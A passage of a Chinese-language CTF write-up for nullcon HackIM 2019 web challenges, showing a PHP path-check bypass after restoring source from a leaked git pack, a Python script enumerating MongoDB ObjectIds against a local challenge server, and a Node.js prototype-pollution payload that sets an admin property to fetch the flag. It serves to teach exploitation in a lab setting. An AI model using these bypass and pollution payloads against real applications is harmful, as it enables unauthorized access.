3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABP4LyQifPIBG84gAAAAASUVORK5CYII=">
所以通過這些幾個設定,我們就可以得到 trackuser.php
中請求引數 m
的值為 2656613544186699742 ,發包得到對應的 Cookie
帶著 Cookie 登入 admin/admin
,得到下一步
直接訪問,發現是個目錄列舉。
直接訪問 admin.php
,發現 not_authorized
而 pack-9d392b4893d01af61c5712fdf5aafd8f24d06a10.pack
檔案則可以直接下載,我們可以通過 git tips 只有一個 pack 檔案恢復整個系統
得到 admin.php
檔案
<?php if ($_SESSION['go']) { $sp_php = explode('/', $_SERVER['PHP_SELF']); $langfilename = $sp_php[count($sp_php) - 1]; $pageListArray = array('index.php' => "1"); if ($pageListArray[$langfilename] != 1) { echo "not_authorized"; Header("Location: index.php?not_authorized"); } else { echo "hackim19{}"; } } else { echo "you need to complete the first barrier"; } ?>
簡單審計,獲取路徑後檢查 index.php
是否存在路徑當中,我們用 admin.php/index.php
就可以簡單繞過得到 flag
Alice web site has been hacked and hackers removed the submit post option and posted some unwanted messages can you get them?
Hint
- mango can be eaten in 60 seconds
- Mongo Mongo Mongo !!! and this is not a sql Injection
題目設定
訪問 /getPOST
又得到
新增 id
引數訪問
單引號嘗試注入,發現報錯
注入無果後,看了一下發現是個 Node.js 的站,嘗試使用之前的 payload 檢查錯誤資訊
然而並沒有發現什麼可疑的js庫,而且題目既然給出了不是 sql 注入的話,我們就需要得另找方向。
MongoDB 中有一個 ObjectId
的概念,它是一種 MongoDB 的型別
ObjectIds are small, likely unique, fast to generate, and ordered. ObjectId values consist of 12 bytes, where the first four bytes are a timestamp that reflect the ObjectId’s creation. Specifically:
- a 4-byte value representing the seconds since the Unix epoch,
- a 5-byte random value, and
- a 3-byte counter, starting with a random value.
參考 Angstrom CTF 2018] The Best Website Write-up (Web230) ,我們可以發現中間5位雖然隨機產生,但是是固定的,所以我們需要做的就是猜解前4位以及後3位。而題目給出 hint 意思是時間差應該是小於等於 60s ,然後最後三位根據一開始給出的 id=5c51b9c9144f813f31a4c0e2
,從 a4c0e2
開始 +1
列舉到 a4c0ef
,但是這道題比較坑的地方也就在這,最後題目順序並不是從這順推的,而是逆序列舉的,而且時間也不是整 60s ,所以還需要向前列舉。這裡推薦大家使用 MongoDB ObjectId ↔ Timestamp Converter 方便檢視時間戳
import requests url = 'http://localhost:4545/getPOST?id=%s144f813f31%s' time = 0x5c51b9c9 counter = 0xa4c0e2 for i in range(100): counter = hex(counter - 1)[2:] for i in range(1000000): time = hex(time - 1)[2:] nurl = url % (time, counter) res = requests.get(nurl) if 'Not found' not in res.text: print(res.text, nurl) time = int(time, 16) counter = int(counter, 16) break time = int(time, 16)
終於在 id=5c51b911144f813f31a4c0df
得到關鍵資訊
I told you you follow the White Rabbit. http://localhost:4545/getPOST?id=5c51b98d144f813f31a4c0e1 Did you actually come back ?? Go Away! http://localhost:4545/getPOST?id=5c51b952144f813f31a4c0e0 Shit MR Anderson and his agents are here. Hurryup!. Pickup the landline phone to exit back to matrix! - /4f34685f64ec9b82ea014bda3274b0df/http://localhost:4545/getPOST?id=5c51b911144f813f31a4c0df
訪問 /5c51b911144f813f31a4c0df
得到原始碼
'use strict'; const express = require('express'); const bodyParser = require('body-parser') const cookieParser = require('cookie-parser'); const path = require('path'); const isObject = obj => obj && obj.constructor && obj.constructor === Object; function merge(a,b){ for (var attr in b){ if(isObject(a[attr]) && isObject(b[attr])){ merge(a[attr],b[attr]); } else{ a[attr] = b[attr]; } } return a } function clone(a){ return merge({},a); } // Constants const PORT = 8080; const HOST = '0.0.0.0'; const admin = {}; // App const app = express(); app.use(bodyParser.json()) app.use(cookieParser()); app.use('/', express.static(path.join(__dirname, 'views'))) app.post('/signup', (req, res) => { var body = JSON.parse(JSON.stringify(req.body)); var copybody = clone(body) if(copybody.name){ res.cookie('name', copybody.name).json({"done":"cookie set"}); } else{ res.json({"error":"cookie not set"}) } }); app.get('/getFlag', (req, res) => { var аdmin=JSON.parse(JSON.stringify(req.cookies)) if(admin.аdmin==1){ res.send("hackim19{}"); } else{ res.send("You are not authorized"); } }); app.listen(PORT, HOST); console.log(`Running on http://${HOST}:${PORT}`);
需要我們將 const admin
的 admin
屬性設定為1,比較明顯的一個 js 原型鏈汙染,我們只需要讓一個 Object.prototype
設定為 {"admin":1}
即可,而我們還需要一個 name
引數,所以我們大致可以這樣構造: {"name": "xxx", "__proto__":{"аdmin":"1"}}
在第二個for迴圈中,由於 __proto__
是一個 Object
,會遞迴進入 merge()
,由於 __proto__
有一對 key-value
,所以會判斷 __proto__["admin"]
是否是 Object
,不是就進入 else
,對原型 __proto__["admin"]
賦值為1,這就完成了原型鏈汙染的操作。
最後訪問 /getFlag
成功獲得flag
hackim19{Prototype_for_the_win}
國內關於原型鏈的文章還是比較少的,推薦一篇梅子酒師傅寫的 JavaScript原型鏈汙染 ,寫的還是不錯的。